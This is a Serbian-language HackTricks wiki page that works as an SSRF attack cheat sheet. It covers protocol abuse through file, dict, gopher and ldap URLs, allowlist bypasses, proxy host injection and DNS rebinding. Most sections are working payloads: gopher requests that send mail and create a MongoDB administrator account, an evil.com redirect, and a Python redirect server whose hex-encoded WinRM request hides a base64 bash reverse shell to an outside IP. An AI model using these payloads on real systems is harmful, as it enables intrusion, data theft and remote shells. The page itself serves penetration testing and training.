SSRF (Server Side Request Forgery)

Reading time: 23 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Server-side Request Forgery (SSRF) ranjivost se javlja kada napadač manipuliše aplikacijom na serveru da pravi HTTP zahteve ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač.

Zabeleži SSRF

Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su:

Zaobilaženje dozvoljenih domena

Obično ćete otkriti da SSRF funkcioniše samo u određenim dozvoljenim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te beleške:

URL Format Bypass

Zaobilaženje putem otvorenog preusmeravanja

Ako je server pravilno zaštićen, mogli biste zaobići sve restrikcije iskorišćavanjem otvorenog preusmeravanja unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete iskoristiti otvoreno preusmeravanje da naterate server da pristupi bilo kojem internom resursu.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf

Protokoli

  • file://
  • URL šema file:// se referencira, ukazujući direktno na /etc/passwd: file:///etc/passwd
  • dict://
  • DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zloćudnim SFTP serverom: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje na 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacijama o direktorijumima preko IP mreža. Interakcija sa LDAP serverom na localhost: '%0astats%0aquit' putem ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisuje se metoda za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP uslugama na localhost, uključujući korake za otkrivanje internih imena domena i dalja istraživačka delovanja zasnovana na tim informacijama.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Ako se SSRF izvršava pomoću curl, curl ima funkciju koja se zove URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup-u možete pronaći ovaj primer za putanju prelazaka putem file protokola:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Diskutuje se o sposobnosti Gopher protokola da specificira IP, port i bajtove za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payload-a. Ilustrovane su dve različite upotrebe:

Gopher://

Korišćenjem ovog protokola možete specificirati IP, port i bajtove koje želite da server pošalje. Tada možete u suštini iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali morate znati kako da razgovarate sa uslugom prvo).
Na sreću, možete koristiti Gopherus za kreiranje payload-a za nekoliko usluga. Pored toga, remote-method-guesser se može koristiti za kreiranje gopher payload-a za Java RMI usluge.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Povratna veza na 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Kreirajte korisnika sa korisničkim imenom=admin, sa lozinkom=admin123 i sa dozvolom=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF putem Referrer header-a i drugih

Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije ranjivostima Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer header-u kako bi analizirao sadržaj referalnih sajtova. Da bi se otkrile ove ranjivosti, preporučuje se Burp Suite dodatak "Collaborator Everywhere", koji koristi način na koji analitički alati obrađuju Referer header za identifikaciju potencijalnih površina napada SSRF.

SSRF putem SNI podataka iz sertifikata

Pogrešna konfiguracija koja bi mogla omogućiti vezu sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja se može iskoristiti jednostavnim navođenjem željene IP adrese ili imena domena u SNI polju. Primer eksploatacije za forsiranje veze sa proizvoljnim backend-om, kao što je internal.host.com, koristeći openssl komandu je dat u nastavku:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF sa Command Injection

Možda bi vredelo probati payload kao što je: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderovanje PDF-a

Ako web stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog PDF kreatora (servera) prilikom kreiranja PDF-a i moći ćete da zloupotrebite SSRF. Pronađite više informacija ovde.

Od SSRF do DoS

Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove koristeći SSRF iz sesija.

SSRF PHP Funkcije

Proverite sledeću stranicu za ranjive PHP i čak Wordpress funkcije:

PHP SSRF

SSRF Preusmeravanje na Gopher

Za neka eksploatisanja možda će vam biti potrebno da pošaljete preusmeravajući odgovor (potencijalno da koristite drugačiji protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Pogrešno konfigurisani proksi za SSRF

Trikovi iz ovog posta.

Flask

Flask proksi ranjivi kod
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask omogućava korišćenje @ kao početnog karaktera, što omogućava da se početno ime hosta koristi kao korisničko ime i da se ubaci novo. Napadni zahtev:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Vulnerabilan kod:

Otkriveno je da je moguće početi putanju zahteva sa karakterom ; što omogućava korišćenje @ i injektovanje novog hosta za pristup. Napadni zahtev:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP ugrađeni web server

Ranljiv PHP kod
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP omogućava korišćenje karaktera * pre kose crte u putanji URL-a, međutim, ima i druga ograničenja kao što su da se može koristiti samo za osnovnu putanju / i da tačke . nisu dozvoljene pre prve kose crte, tako da je potrebno koristiti IP adresu kodiranu u heksadecimalnom formatu bez tačaka, na primer:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Ako imate problema da izvršite eksfiltraciju sadržaja sa lokalne IP adrese zbog CORS/SOP, DNS Rebidding se može koristiti za zaobilaženje te ograničenja:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje potrebne komponente za ponovo povezivanje IP adrese napadačkog servera DNS imena sa IP adresom ciljne mašine i za pružanje napadačkih payload-a za iskorišćavanje ranjivog softvera na ciljnoj mašini.

Pogledajte takođe javni server koji radi na http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Zahtevi:

  • SSRF
  • Outbound TLS sesije
  • Stvari na lokalnim portovima

Napad:

  1. Zatražite od korisnika/bota da pristupi domeni koju kontroliše napadač
  2. TTL DNS-a je 0 sek (tako da će žrtva uskoro ponovo proveriti IP domena)
  3. TLS veza se uspostavlja između žrtve i domena napadača. Napadač ubacuje payload unutar Session ID ili Session Ticket.
  4. Domena će započeti beskonačnu petlju preusmeravanja protiv sebe. Cilj ovoga je da se korisnik/bot ponovo poveže na domen dok ne izvrši ponovo DNS zahtev za domen.
  5. U DNS zahtevu se sada daje privatna IP adresa (127.0.0.1 na primer)
  6. Korisnik/bot će pokušati da ponovo uspostavi TLS vezu i da bi to uradio, poslaće Session ID/Ticket ID (gde je bio sadržan payload napadača). Čestitamo, uspeli ste da zatražite od korisnika/bota da napadne sebe.

Napomena: tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi inicijalnu vezu sa www.attacker.com:11211 ( port mora uvek biti isti).
Da izvršite ovaj napad možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte predavanje gde je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Razlika između slepe SSRF i neslepe je u tome što u slepoj ne možete videti odgovor SSRF zahteva. Tada je teže iskoristiti jer ćete moći da iskoristite samo dobro poznate ranjivosti.

Time based SSRF

Proverom vremena odgovora sa servera može biti moguće znati da li resurs postoji ili ne (možda je potrebno više vremena za pristupanje postojećem resursu nego za pristupanje onom koji ne postoji)

Cloud SSRF Exploitation

Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju i čak i akreditive:

Cloud SSRF

SSRF Vulnerable Platforms

Nekoliko poznatih platformi sadrži ili je sadržalo SSRF ranjivosti, proverite ih u:

SSRF Vulnerable Platforms

Tools

SSRFMap

Alat za otkrivanje i iskorišćavanje SSRF ranjivosti

Gopherus

Ovaj alat generiše Gopher payload-e za:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser je Java RMI skener ranjivosti koji podržava napadne operacije za većinu uobičajenih Java RMI ranjivosti. Većina dostupnih operacija podržava --ssrf opciju, za generisanje SSRF payload-a za traženu operaciju. Zajedno sa --gopher opcijom, spremni za korišćenje gopher payload-i mogu se generisati direktno.

SSRF Proxy

SSRF Proxy je višedretveni HTTP proxy server dizajniran za tunelovanje HTTP saobraćaja klijenata kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks